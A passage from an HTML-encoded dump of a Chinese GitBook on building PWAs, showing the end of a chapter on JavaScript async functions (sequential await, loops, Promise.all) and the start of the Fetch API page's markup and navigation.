&#x5F00;&#x59CB;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Task3 &#x7ED3;&#x675F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x6309;&#x987A;&#x5E8F;&#x4F9D;&#x6B21;&#x6267;&#x884C;&#x8FD9;&#x4E9B;&#x4EFB;&#x52A1;&#xFF0C;&#x6839;&#x636E;&#x524D;&#x9762;&#x6240;&#x5B66;&#x5185;&#x5BB9;&#xFF0C;&#x53EF;&#x4EE5;&#x5229;&#x7528; await &#x8868;&#x8FBE;&#x5F0F;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">task1</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">task2</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">task3</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// Task1 &#x5F00;&#x59CB;</span>\n<span class=\"token comment\">// ... &#xFF08;&#x7B49;&#x5F85; 1s&#xFF09;</span>\n<span class=\"token comment\">// Task1 &#x7ED3;&#x675F;</span>\n<span class=\"token comment\">// Task2 &#x5F00;&#x59CB;</span>\n<span class=\"token comment\">// ... &#xFF08;&#x7B49;&#x5F85; 1s&#xFF09;</span>\n<span class=\"token comment\">// Task2 &#x7ED3;&#x675F;</span>\n<span class=\"token comment\">// Task3 &#x5F00;&#x59CB;</span>\n<span class=\"token comment\">// ... &#xFF08;&#x7B49;&#x5F85; 1s&#xFF09;</span>\n<span class=\"token comment\">// Task3 &#x7ED3;&#x675F;</span>\n</code></pre>\n<p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; for &#x5FAA;&#x73AF;&#x6765;&#x7B80;&#x5316;&#x8FD9;&#x4E00;&#x8FC7;&#x7A0B;&#xFF0C;&#x4E0B;&#x9762;&#x7684;&#x793A;&#x4F8B;&#x5C55;&#x793A;&#x4E86;&#x4F7F;&#x7528; for &#x5FAA;&#x73AF;&#x5B9E;&#x73B0;&#x540C;&#x6837;&#x7684;&#x6548;&#x679C;&#xFF0C;&#x8BFB;&#x8005;&#x53EF;&#x4EE5;&#x81EA;&#x884C;&#x5C1D;&#x8BD5;&#x4F7F;&#x7528; for...of &#x6216;&#x8005; while &#x7B49;&#x5FAA;&#x73AF;&#x8BED;&#x53E5;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> tasks <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>task1<span class=\"token punctuation\">,</span> task2<span class=\"token punctuation\">,</span> task3<span class=\"token punctuation\">]</span>\n  <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> tasks<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">await</span> tasks<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x8FD9;&#x91CC;&#x7684; for &#x5FAA;&#x73AF;&#x65E0;&#x6CD5;&#x7528; forEach &#x4EE3;&#x66FF;&#xFF0C;&#x8FD9;&#x662F;&#x56E0;&#x4E3A; forEach &#x53EA;&#x4F1A;&#x540C;&#x6B65;&#x6267;&#x884C;&#x5B83;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#xFF0C;&#x4E0D;&#x4F1A;&#x53D7;&#x5230; await &#x7684;&#x963B;&#x585E;&#x5F71;&#x54CD;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">tasks<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">async</span> <span class=\"token parameter\">task</span> <span class=\"token operator\">=&gt;</span> <span class=\"token keyword\">await</span> <span class=\"token function\">task</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> task <span class=\"token keyword\">of</span> tasks<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">task</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x5E76;&#x53D1;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\"><a name=\"&#x5E76;&#x53D1;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5E76;&#x53D1;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5E76;&#x53D1;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\" class=\"plugin-anchor\" href=\"#&#x5E76;&#x53D1;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5E76;&#x53D1;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;</h3>\n<p>&#x5047;&#x8BBE;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x8FD9;&#x4E9B;&#x4EFB;&#x52A1;&#x5E76;&#x884C;&#x6267;&#x884C;&#xFF0C;&#x90A3;&#x4E48;&#x4E0D;&#x4F7F;&#x7528; await &#x8868;&#x8FBE;&#x5F0F;&#x5C31;&#x80FD;&#x591F;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">task1</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token function\">task2</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token function\">task3</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// Task1 &#x5F00;&#x59CB;</span>\n<span class=\"token comment\">// Task2 &#x5F00;&#x59CB;</span>\n<span class=\"token comment\">// Task3 &#x5F00;&#x59CB;</span>\n\n<span class=\"token comment\">// ... &#xFF08;&#x7B49;&#x5F85; 1s&#xFF09;</span>\n\n<span class=\"token comment\">// Task1 &#x7ED3;&#x675F;</span>\n<span class=\"token comment\">// Task2 &#x7ED3;&#x675F;</span>\n<span class=\"token comment\">// Task3 &#x7ED3;&#x675F;</span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x7684;&#x51FD;&#x6570;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; for/while/forEach &#x7B49;&#x7B49;&#x5404;&#x79CD;&#x5FAA;&#x73AF;&#x65B9;&#x6CD5;&#x6765;&#x8FDB;&#x884C;&#x7B80;&#x5316;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> tasks <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>task1<span class=\"token punctuation\">,</span> task2<span class=\"token punctuation\">,</span> task3<span class=\"token punctuation\">]</span>\n  tasks<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">task</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">task</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5047;&#x8BBE;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x5728;&#x6240;&#x6709;&#x7684;&#x4EFB;&#x52A1;&#x5168;&#x90E8;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#x53BB;&#x6267;&#x884C;&#x67D0;&#x4E9B;&#x64CD;&#x4F5C;&#xFF0C;&#x90A3;&#x4E48;&#x53EF;&#x4EE5;&#x7ED3;&#x5408; Promise.all &#x65B9;&#x6CD5;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">all</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n    <span class=\"token function\">task1</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n    <span class=\"token function\">task2</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n    <span class=\"token function\">task3</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x4EFB;&#x52A1;&#x5168;&#x90E8;&#x6267;&#x884C;&#x5B8C;&#x6BD5;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// Task1 &#x5F00;&#x59CB;</span>\n<span class=\"token comment\">// Task2 &#x5F00;&#x59CB;</span>\n<span class=\"token comment\">// Task3 &#x5F00;&#x59CB;</span>\n\n<span class=\"token comment\">// ... &#x7B49;&#x5F85; 1s</span>\n\n<span class=\"token comment\">// Task1 &#x7ED3;&#x675F;</span>\n<span class=\"token comment\">// Task2 &#x7ED3;&#x675F;</span>\n<span class=\"token comment\">// Task3 &#x7ED3;&#x675F;</span>\n<span class=\"token comment\">// &#x4EFB;&#x52A1;&#x5168;&#x90E8;&#x6267;&#x884C;&#x5B8C;&#x6BD5;</span>\n</code></pre>\n<p>&#x6211;&#x4EEC;&#x4E5F;&#x53EF;&#x4EE5;&#x5229;&#x7528; <code>Array.map</code> &#x6765;&#x7B80;&#x5316;&#x8FD9;&#x4E00;&#x8FC7;&#x7A0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> tasks <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>task1<span class=\"token punctuation\">,</span> task2<span class=\"token punctuation\">,</span> task3<span class=\"token punctuation\">]</span>\n  <span class=\"token keyword\">const</span> promises <span class=\"token operator\">=</span> tasks<span class=\"token punctuation\">.</span><span class=\"token function\">map</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">task</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">task</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">all</span><span class=\"token punctuation\">(</span>promises<span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x4EFB;&#x52A1;&#x5168;&#x90E8;&#x6267;&#x884C;&#x5B8C;&#x6BD5;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-promise.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 3.1 Promise\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"3-fetch-api.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 3.3 Fetch API\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"3.2 Async 函数\",\"level\":\"1.4.2\",\"depth\":2,\"next\":{\"title\":\"3.3 Fetch API\",\"level\":\"1.4.3\",\"depth\":2,\"path\":\"chapter03/3-fetch-api.md\",\"ref\":\"chapter03/3-fetch-api.md\",\"articles\":[]},\"previous\":{\"title\":\"3.1 Promise\",\"level\":\"1.4.1\",\"depth\":2,\"path\":\"chapter03/1-promise.md\",\"ref\":\"chapter03/1-promise.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter03/2-async-function.md\",\"mtime\":\"2019-06-19T10:37:42.127Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter03/3-fetch-api.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>3.3 Fetch API · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"4-cache-api.html\" />\n    \n    \n    <link rel=\"prev\" href=\"2-async-function.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" 